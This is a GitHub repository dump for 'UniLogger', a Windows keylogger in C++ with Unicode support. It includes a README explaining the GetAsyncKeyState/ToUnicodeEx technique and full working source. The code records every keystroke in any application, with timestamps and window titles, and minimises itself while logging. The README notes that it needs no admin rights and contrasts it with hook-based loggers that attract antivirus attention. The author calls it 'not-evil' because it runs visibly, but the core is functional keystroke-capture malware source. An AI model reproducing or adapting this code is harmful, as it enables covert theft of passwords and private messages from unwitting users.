├── en.ico ├── resource.h ├── UniLogger.rc ├── disabled.bmp ├── enabled.bmp ├── enabled.jpg ├── .gitattributes ├── UniLogger.sln ├── UniLogger.filters ├── .gitignore ├── README.md ├── UniLogger.vcxproj └── Source.cpp /en.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/en.ico -------------------------------------------------------------------------------- /resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/resource.h -------------------------------------------------------------------------------- /UniLogger.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/UniLogger.rc -------------------------------------------------------------------------------- /disabled.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/disabled.bmp -------------------------------------------------------------------------------- /enabled.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/enabled.bmp -------------------------------------------------------------------------------- /enabled.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/enabled.jpg -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /UniLogger.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UniLogger", "UniLogger.vcxproj", "{0C584847-98F0-415E-BCCB-BE49F53AC9AF}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {0C584847-98F0-415E-BCCB-BE49F53AC9AF}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {0C584847-98F0-415E-BCCB-BE49F53AC9AF}.Debug|Win32.Build.0 = Debug|Win32 14 | {0C584847-98F0-415E-BCCB-BE49F53AC9AF}.Release|Win32.ActiveCfg = Release|Win32 15 | {0C584847-98F0-415E-BCCB-BE49F53AC9AF}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /UniLogger.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | 28 | 29 | Resource Files 30 | 31 | 32 | Resource Files 33 | 34 | 35 | Resource Files 36 | 37 | 38 | 39 | 40 | Resource Files 41 | 42 | 43 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ################# 2 | ## Eclipse 3 | ################# 4 | 5 | *.pydevproject 6 | .project 7 | .metadata 8 | bin/ 9 | tmp/ 10 | *.tmp 11 | *.bak 12 | *.swp 13 | *~.nib 14 | local.properties 15 | .classpath 16 | .settings/ 17 | .loadpath 18 | 19 | # External tool builders 20 | .externalToolBuilders/ 21 | 22 | # Locally stored "Eclipse launch configurations" 23 | *.launch 24 | 25 | # CDT-specific 26 | .cproject 27 | 28 | # PDT-specific 29 | .buildpath 30 | 31 | 32 | ################# 33 | ## Visual Studio 34 | ################# 35 | 36 | ## Ignore Visual Studio temporary files, build results, and 37 | ## files generated by popular Visual Studio add-ons. 38 | 39 | # User-specific files 40 | *.suo 41 | *.user 42 | *.sln.docstates 43 | 44 | # Build results 45 | [Dd]ebug/ 46 | [Rr]elease/ 47 | *_i.c 48 | *_p.c 49 | *.ilk 50 | *.meta 51 | *.obj 52 | *.pch 53 | *.pdb 54 | *.pgc 55 | *.pgd 56 | *.rsp 57 | *.sbr 58 | *.tlb 59 | *.tli 60 | *.tlh 61 | *.tmp 62 | *.vspscc 63 | .builds 64 | *.dotCover 65 | 66 | ## TODO: If you have NuGet Package Restore enabled, uncomment this 67 | #packages/ 68 | 69 | # Visual C++ cache files 70 | ipch/ 71 | *.aps 72 | *.ncb 73 | *.opensdf 74 | *.sdf 75 | 76 | # Visual Studio profiler 77 | *.psess 78 | *.vsp 79 | 80 | # ReSharper is a .NET coding add-in 81 | _ReSharper* 82 | 83 | # Installshield output folder 84 | [Ee]xpress 85 | 86 | # DocProject is a documentation generator add-in 87 | DocProject/buildhelp/ 88 | DocProject/Help/*.HxT 89 | DocProject/Help/*.HxC 90 | DocProject/Help/*.hhc 91 | DocProject/Help/*.hhk 92 | DocProject/Help/*.hhp 93 | DocProject/Help/Html2 94 | DocProject/Help/html 95 | 96 | # Click-Once directory 97 | publish 98 | 99 | # Others 100 | [Bb]in 101 | [Oo]bj 102 | sql 103 | TestResults 104 | *.Cache 105 | ClientBin 106 | stylecop.* 107 | ~$* 108 | *.dbmdl 109 | Generated_Code #added for RIA/Silverlight projects 110 | 111 | # Backup & report files from converting an old project file to a newer 112 | # Visual Studio version. Backup files are not needed, because we have git ;-) 113 | _UpgradeReport_Files/ 114 | Backup*/ 115 | UpgradeLog*.XML 116 | 117 | 118 | 119 | ############ 120 | ## Windows 121 | ############ 122 | 123 | # Windows image file caches 124 | Thumbs.db 125 | 126 | # Folder config file 127 | Desktop.ini 128 | 129 | 130 | ############# 131 | ## Python 132 | ############# 133 | 134 | *.py[co] 135 | 136 | # Packages 137 | *.egg 138 | *.egg-info 139 | dist 140 | build 141 | eggs 142 | parts 143 | bin 144 | var 145 | sdist 146 | develop-eggs 147 | .installed.cfg 148 | 149 | # Installer logs 150 | pip-log.txt 151 | 152 | # Unit test / coverage reports 153 | .coverage 154 | .tox 155 | 156 | #Translations 157 | *.mo 158 | 159 | #Mr Developer 160 | .mr.developer.cfg 161 | 162 | # Mac crap 163 | .DS_Store 164 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![My image](http://eldeeb.net/wrdprs/wp-content/uploads/2013/02/03.png) 2 | 3 | http://eldeeb.net/wrdprs/?page_id=229 4 | 5 | 6 | UniLogger 7 | ========= 8 | A "not-evil" keylogger with Unicode support 9 | 10 | 11 | What? 12 | 13 | UniLogger is a keylogger with unicode support “unlike most of keyloggers out there” it supports logging Hebrew, Arabic, Russian, Chinese et’all … technical details on how I did that is below… 14 | It doesn’t require admin rights to operate “like hook-based keyloggers do”. 15 | Along with keystrokes, It logs time, date, and the name of the active application. 16 | 17 | 18 | Is it evil? 19 | 20 | No, it is not; UniLogger runs in the foreground just like any regular program, it stops logging when you click on it or click the “close” button, … so, and I am talking to you little kid, this program is not going to help you much spying on your friends, go to hackforums for programs to help you do that. 21 | 22 | 23 | Why? 24 | 25 | That other day I discovered that most of the keyloggers do not support Unicode letters, and I couldn’t find a straight forward way to do it in C/C++ … so, when I figured it out, I decided to share my findings with you guys . 26 | 27 | 28 | How? 29 | 30 | There are two common “not the only” ways to log keys: 31 | 32 | Hooking Keyboard “SetWindowsHookEx() & WH_KEYBOARD_LL & WM_CHAR” 33 | This is the most efficient and reliable way to do it, and when the hook will used to process WM_CHAR messages, Windows will do all the heavy lifting and give you the keystroke in its Unicode form directly. 34 | However, it might require elevated privileges, also this method is guaranteed to give you AV’s attention in case you’re trying to avoid that. 35 | GetAsyncKeyState() 36 | The classic way to do it, it works with restricted accounts, yet I have never came across an application that use this method and do the necessary work to log the keystroke in its current language “e.g. if the Arabic character “ش” is pressed, it will log “A” not “ش” 37 | In UniLogger, I used the GetAsyncKeyState() method … the trick I did is I get the language of the window first, then translate that keystroke into the corresponding Unicode letter using the function ToUnicode(). 38 | 39 | 40 | How it is done in UniLogger 41 | 42 | Please, give me your attention, this is going to be a rough ride … I learned all the below the hard way!!: 43 | 44 | When a key is pressed, GetAsyncKeyState takes what is called “scanned key” 45 | We need something called “Virtual Key” from the “scanned key” … for that we we use “MapVirtualKeyEx”. 46 | However, “MapVirtualKeyEx” needs something called “keyboard layout” to function … so, we get the keyboard layout using “GetKeyboardLayout” 47 | However!! GetKeyboardLayout requires the “thread” of the window that the key was pressed on, for that we use “GetWindowThreadProcessId” 48 | … however, GetWindowThreadProcessId needs the handle of the process, for that we use GetForegroundWindow(). 49 | Finally, we need something called “Keyboard State” … and that’s by using GetKeyboardState() … this one has no “howevers”. 50 | Now we have the following: “ScannedKey, VirtualKey, KeyBoardLayOut, KeyBoardState” 51 | ToUnicodeEx will convert all the above to a unicode character 52 | 53 | 54 | -------------------------------------------------------------------------------- /UniLogger.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {0C584847-98F0-415E-BCCB-BE49F53AC9AF} 15 | Win32Proj 16 | UniLogger 17 | UniLogger 18 | 19 | 20 | 21 | Application 22 | true 23 | v110 24 | Unicode 25 | 26 | 27 | Application 28 | false 29 | v110 30 | true 31 | Unicode 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | true 45 | 46 | 47 | false 48 | 49 | 50 | 51 | 52 | 53 | Level3 54 | Disabled 55 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) 56 | 57 | 58 | Windows 59 | true 60 | 61 | 62 | 63 | 64 | Level3 65 | 66 | 67 | MaxSpeed 68 | true 69 | true 70 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 71 | 72 | 73 | Windows 74 | true 75 | true 76 | true 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | -------------------------------------------------------------------------------- /Source.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "resource.h" 3 | #include 4 | 5 | 6 | /************************************************ 7 | * [UniLogger] * 8 | * A "not-evil" keylogger with Unicode support * 9 | ************************************************* 10 | - @SheriefEldeeb 11 | - http://eldeeb.net 12 | - Made in Egypt :) 13 | ************************************************/ 14 | /* 15 | Copyright (c) 2013, Sherif Eldeeb "eldeeb.net" 16 | All rights reserved. 17 | 18 | Redistribution and use in source and binary forms, with or without 19 | modification, are permitted provided that the following conditions are met: 20 | 21 | 1. Redistributions of source code must retain the above copyright notice, this 22 | list of conditions and the following disclaimer. 23 | 2. Redistributions in binary form must reproduce the above copyright notice, 24 | this list of conditions and the following disclaimer in the documentation 25 | and/or other materials provided with the distribution. 26 | 27 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 28 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 29 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 30 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 31 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 32 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 33 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 34 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 35 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 36 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 37 | 38 | The views and conclusions contained in the software and documentation are those 39 | of the authors and should not be interpreted as representing official policies, 40 | either expressed or implied, of the FreeBSD Project. 41 | */ 42 | 43 | HWND hwnd; 44 | int nBitmap = IDB_BITMAP2; 45 | TCHAR *winText = L"Not Logging...\n\nClick to (start/stop)\n\nhttp://eldeeb.net"; 46 | 47 | DWORD nThreadId; 48 | HANDLE hThreadHandle; 49 | 50 | TCHAR window_text[1024] = {0}; 51 | TCHAR old_window_text[1024] = {0}; 52 | HWND hWindowHandle; 53 | TCHAR wszAppName[1024] = {0}; 54 | DWORD dwBytesWritten = 0; 55 | unsigned char header[2] = { 0xFF, 0xFE }; //unicode text file header 56 | HANDLE hFile = INVALID_HANDLE_VALUE; 57 | wchar_t log_file[MAX_PATH] = {0}; 58 | SYSTEMTIME LocalTime = {0}; 59 | 60 | TCHAR *save_log(void) { 61 | OPENFILENAME ofn = {0}; 62 | TCHAR filename[512] = {0}; 63 | GetLocalTime(&LocalTime); 64 | _snwprintf((wchar_t*)filename, 511, L"%04d%02d%02d-%02d%02d%02d.log", LocalTime.wYear, LocalTime.wMonth, LocalTime.wDay, LocalTime.wHour, LocalTime.wMinute, LocalTime.wSecond); 65 | 66 | ofn.lStructSize = sizeof(ofn); 67 | ofn.lpstrFilter = L"Log files (*.log)\0*.LOG\0All Files\0*.*\0"; 68 | ofn.lpstrFile = filename; 69 | ofn.nMaxFile = sizeof(filename); 70 | ofn.lpstrTitle = L"UniLogger - Select keylog Location"; 71 | ofn.Flags = OFN_NONETWORKBUTTON | OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST | OFN_LONGNAMES | OFN_EXPLORER | OFN_HIDEREADONLY; 72 | ofn.nFilterIndex = 1; 73 | 74 | if(!GetSaveFileName(&ofn)) exit(1); 75 | TCHAR *buff = (TCHAR*)malloc(512); 76 | ZeroMemory(buff,512); 77 | memcpy(buff,filename,wcslen(filename) * sizeof(TCHAR)); 78 | return(buff); 79 | } 80 | 81 | void WriteToFile(TCHAR *wText) 82 | { 83 | hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL); 84 | WriteFile(hFile, wText, wcslen(wText) * sizeof(wchar_t), &dwBytesWritten, NULL); 85 | CloseHandle(hFile); 86 | } 87 | 88 | void WritesScannedKeyToFile(short sScannedKey) 89 | { 90 | HKL hkl; 91 | DWORD dwThreadId; 92 | DWORD dwProcessId; 93 | 94 | hWindowHandle = GetForegroundWindow(); 95 | dwThreadId = GetWindowThreadProcessId(hWindowHandle, &dwProcessId); 96 | BYTE *kState = (BYTE*)malloc(256); 97 | GetKeyboardState(kState); 98 | hkl = GetKeyboardLayout(dwThreadId); 99 | wchar_t UniChar[16] = {0}; 100 | //UINT virtualKey = MapVirtualKeyEx((UINT)sScannedKey, MAPVK_VK_TO_CHAR, hkl); 101 | UINT virtualKey = sScannedKey; 102 | ToUnicodeEx(virtualKey, sScannedKey, (BYTE*)kState, UniChar, 16, NULL, hkl); 103 | WriteToFile(UniChar); 104 | free(kState); 105 | } 106 | 107 | DWORD WINAPI logger(void) 108 | { 109 | 110 | wcscpy_s(log_file, save_log()); 111 | 112 | hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL); 113 | WriteFile(hFile, header, 2, &dwBytesWritten, NULL); 114 | CloseHandle(hFile); 115 | 116 | short sScannedKey; 117 | while(1) 118 | { 119 | Sleep((rand() % 10) + 10); 120 | for(sScannedKey=8;sScannedKey<=222;sScannedKey++) 121 | { 122 | if(GetAsyncKeyState(sScannedKey)==-32767) 123 | { 124 | //check window name, has it changed? 125 | hWindowHandle = GetForegroundWindow(); 126 | if (hWindowHandle != NULL) 127 | { 128 | if (GetWindowText(hWindowHandle, window_text, 1024) != 0) 129 | { 130 | if (wcscmp(window_text, old_window_text) != 0) 131 | { 132 | hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL); 133 | GetLocalTime(&LocalTime); 134 | _snwprintf_s(wszAppName, 1023, L"\n\n%04d/%02d/%02d %02d:%02d:%02d - {%s}\n", LocalTime.wYear, LocalTime.wMonth, LocalTime.wDay, LocalTime.wHour, LocalTime.wMinute, LocalTime.wSecond,window_text); 135 | WriteFile(hFile, wszAppName, wcslen(wszAppName) * sizeof(wchar_t), &dwBytesWritten, NULL); 136 | wcscpy_s(old_window_text, window_text); 137 | CloseHandle(hFile); 138 | } 139 | } 140 | } 141 | 142 | // end of window name & title check. 143 | 144 | if(true) 145 | { 146 | if((sScannedKey>=39)&&(sScannedKey<91)) 147 | { 148 | WritesScannedKeyToFile(sScannedKey); 149 | break; 150 | } 151 | else 152 | { 153 | switch(sScannedKey) 154 | { 155 | //http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx 156 | case VK_SPACE: 157 | WriteToFile(L" "); 158 | break; 159 | case VK_SHIFT: 160 | WriteToFile(L"[SHIFT]"); 161 | break; 162 | case VK_RETURN: 163 | WriteToFile(L"[ENTER]"); 164 | break; 165 | case VK_BACK: 166 | WriteToFile(L"[BACKSPACE]"); 167 | break; 168 | case VK_TAB: 169 | WriteToFile(L"[TAB]"); 170 | break; 171 | case VK_CONTROL: 172 | WriteToFile(L"[CTRL]"); 173 | break; 174 | case VK_DELETE: 175 | WriteToFile(L"[DEL]"); 176 | break; 177 | case VK_OEM_1: 178 | //WriteToFile(L"[;:]"); 179 | WritesScannedKeyToFile(VK_OEM_1); 180 | break; 181 | case VK_OEM_2: 182 | //WriteToFile(L"[/?]"); 183 | WritesScannedKeyToFile(VK_OEM_2); 184 | break; 185 | case VK_OEM_3: 186 | //WriteToFile(L"[`~]"); 187 | WritesScannedKeyToFile(VK_OEM_3); 188 | break; 189 | case VK_OEM_4: 190 | //WriteToFile(L"[ [{ ]"); 191 | WritesScannedKeyToFile(VK_OEM_4); 192 | break; 193 | case VK_OEM_5: 194 | //WriteToFile(L"[\\|]"); 195 | WritesScannedKeyToFile(VK_OEM_5); 196 | break; 197 | case VK_OEM_6: 198 | //WriteToFile(L"[ ]} ]"); 199 | WritesScannedKeyToFile(VK_OEM_6); 200 | break; 201 | case VK_OEM_7: 202 | //WriteToFile(L"['\"]"); 203 | WritesScannedKeyToFile(VK_OEM_7); 204 | break; 205 | case VK_OEM_PLUS: 206 | WriteToFile(L"+"); 207 | break; 208 | case VK_OEM_COMMA: 209 | //WriteToFile(L","); 210 | WritesScannedKeyToFile(VK_OEM_COMMA); 211 | break; 212 | case VK_OEM_MINUS: 213 | WriteToFile(L"-"); 214 | break; 215 | case VK_OEM_PERIOD: 216 | //WriteToFile(L"."); 217 | WritesScannedKeyToFile(VK_OEM_PERIOD); 218 | break; 219 | case VK_NUMPAD0: 220 | WriteToFile(L"0"); 221 | break; 222 | case VK_NUMPAD1: 223 | WriteToFile(L"1"); 224 | break; 225 | case VK_NUMPAD2: 226 | WriteToFile(L"2"); 227 | break; 228 | case VK_NUMPAD3: 229 | WriteToFile(L"3"); 230 | break; 231 | case VK_NUMPAD4: 232 | WriteToFile(L"4"); 233 | break; 234 | case VK_NUMPAD5: 235 | WriteToFile(L"5"); 236 | break; 237 | case VK_NUMPAD6: 238 | WriteToFile(L"6"); 239 | break; 240 | case VK_NUMPAD7: 241 | WriteToFile(L"7"); 242 | break; 243 | case VK_NUMPAD8: 244 | WriteToFile(L"8"); 245 | break; 246 | case VK_NUMPAD9: 247 | WriteToFile(L"9"); 248 | break; 249 | case VK_CAPITAL: 250 | WriteToFile(L"[CAPS LOCK]"); 251 | break; 252 | case VK_PRIOR: 253 | WriteToFile(L"[PAGE UP]"); 254 | break; 255 | case VK_NEXT: 256 | WriteToFile(L"[PAGE DOWN]"); 257 | break; 258 | case VK_END: 259 | WriteToFile(L"[END]"); 260 | break; 261 | case VK_HOME: 262 | WriteToFile(L"[HOME]"); 263 | break; 264 | case VK_LWIN: 265 | WriteToFile(L"[WIN]"); 266 | break; 267 | case VK_RWIN: 268 | WriteToFile(L"[WIN]"); 269 | break; 270 | case VK_VOLUME_MUTE: 271 | WriteToFile(L"[SOUND-MUTE]"); 272 | break; 273 | case VK_VOLUME_DOWN: 274 | WriteToFile(L"[SOUND-DOWN]"); 275 | break; 276 | case VK_VOLUME_UP: 277 | WriteToFile(L"[SOUND-DOWN]"); 278 | break; 279 | case VK_MEDIA_PLAY_PAUSE: 280 | WriteToFile(L"[MEDIA-PLAY/PAUSE]"); 281 | break; 282 | case VK_MEDIA_STOP: 283 | WriteToFile(L"[MEDIA-STOP]"); 284 | break; 285 | case VK_MENU: 286 | WriteToFile(L"[ALT]"); 287 | break; 288 | default: 289 | 290 | break; 291 | } 292 | } 293 | } 294 | } 295 | } 296 | 297 | } 298 | return EXIT_SUCCESS; 299 | } 300 | 301 | LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wparam, LPARAM lparam ) 302 | { 303 | switch(message) 304 | { 305 | case WM_PAINT: 306 | { 307 | HDC hdc; 308 | HDC hMemDC; 309 | PAINTSTRUCT ps; 310 | HBITMAP hBitmapS; 311 | RECT rect; 312 | 313 | hdc = BeginPaint( hwnd, &ps ); 314 | //image 315 | hBitmapS = LoadBitmap(GetModuleHandle(NULL), MAKEINTRESOURCE(nBitmap)); 316 | hMemDC = CreateCompatibleDC(hdc); 317 | SelectObject(hMemDC, hBitmapS); 318 | BitBlt(hdc,10,10,121,106,hMemDC,0,0,SRCCOPY); 319 | //text 320 | GetClientRect(hwnd, &rect); 321 | rect.left = (rect.right / 2) - 40; 322 | rect.top = rect.top + 10; 323 | DrawText(hdc, winText, -1, &rect, DT_CENTER | DT_END_ELLIPSIS ); 324 | 325 | //cleanuop 326 | DeleteDC(hMemDC); 327 | EndPaint( hwnd, &ps ); 328 | } 329 | return 0; 330 | break; 331 | 332 | case WM_LBUTTONDOWN: 333 | if (nBitmap == IDB_BITMAP1) { 334 | nBitmap = IDB_BITMAP2; 335 | winText = L"Not Logging...\n\nClick to (start/stop)\n\nhttp://eldeeb.net"; 336 | CloseHandle(hThreadHandle); 337 | 338 | } 339 | else if (nBitmap == IDB_BITMAP2) { 340 | nBitmap = IDB_BITMAP1; 341 | winText = L"Logging!\n\nClick to (start/stop)\n\nhttp://eldeeb.net"; 342 | hThreadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)logger, NULL, NULL, &nThreadId); 343 | ShowWindow(hwnd, SW_MINIMIZE); 344 | } 345 | InvalidateRect(hwnd,NULL, true); 346 | return 0; 347 | break; 348 | 349 | case WM_DESTROY: 350 | PostQuitMessage( 0 ) ; 351 | return 0; 352 | break; 353 | 354 | } 355 | return DefWindowProc(hwnd, message, wparam, lparam); 356 | } 357 | 358 | int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR szCmdLine, int iCmdShow) 359 | { 360 | srand(GetTickCount()); 361 | // 362 | WNDCLASSEX wcx = {0}; 363 | wcx.cbSize = sizeof(WNDCLASSEX); 364 | wcx.hbrBackground = (HBRUSH)GetStockObject( WHITE_BRUSH ); 365 | wcx.hCursor = LoadCursor( NULL, IDC_ARROW ); 366 | wcx.hIcon = LoadIcon( GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ICON1)); 367 | wcx.hInstance = hInstance; 368 | wcx.lpfnWndProc = WndProc; 369 | wcx.lpszClassName = TEXT("UniLogger"); 370 | wcx.lpszMenuName = TEXT("Menu"); // no menu - ignore 371 | wcx.style = CS_HREDRAW | CS_VREDRAW; // Redraw the window 372 | wcx.hIconSm = LoadIcon( GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ICON1)); 373 | // 374 | RegisterClassEx(&wcx); 375 | // 376 | hwnd = CreateWindow(TEXT("UniLogger"),TEXT("UniLogger!"), 377 | (WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX), 378 | CW_USEDEFAULT, CW_USEDEFAULT, 350, 170, NULL, NULL, hInstance, NULL ); 379 | ShowWindow(hwnd, iCmdShow); 380 | UpdateWindow(hwnd); 381 | MSG msg; 382 | while( GetMessage( &msg, NULL, 0, 0 ) ) 383 | { 384 | TranslateMessage( &msg ); 385 | DispatchMessage( &msg ); 386 | } 387 | return msg.wParam; 388 | } 389 | 390 | --------------------------------------------------------------------------------